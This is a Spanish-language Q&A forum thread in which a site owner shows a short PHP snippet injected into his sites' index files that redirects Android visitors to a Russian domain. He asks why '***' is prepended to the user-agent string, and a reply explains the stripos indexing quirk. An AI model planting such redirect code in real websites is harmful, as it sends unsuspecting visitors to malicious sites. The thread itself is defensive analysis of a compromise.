¿Por qué agregar “***” en user-agent en este código malicioso?

1

Encontré lo siguiente en cada archivo de índice de mis sitios en un servidor que tengo. Parece que está redirigiendo a todos los usuarios de Android a algún sitio ruso espeluznante.

$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://andsecurity.ru");
die();
}

Mi pregunta es: en la función stripos, agregan tres asteriscos delante de la variable de agente de usuario, ¿por qué querrían hacer eso? ¿Qué hace eso?

    
pregunta SpookyRussianSites 13.10.2014 - 21:02
fuente

1 respuesta

4

Podría deberse a un código incorrecto (anterior) o para evitar advertencias / errores en las respuestas.

stripos devuelve la posibilidad de un segundo parámetro en el primero, iniciando índices en 0 , por lo que en un código erróneo if (stripos($ua,'android')) la condición se omitirá como false en el caso de que la cadena comience con android .

La solución correcta sería usar === y !== , pero al agregar una cadena que no coincidiría antes de la cadena de prueba, cualquier coincidencia será al menos en el valor 1 ( 3 en este caso ), evitando la necesidad de usar !== false .

También cubre el caso donde falta el agente de usuario para evitar cualquier tipo de advertencia / error en el tiempo de ejecución.

    
respondido por el NuTTyX 13.10.2014 - 21:42
fuente

Lea otras preguntas en las etiquetas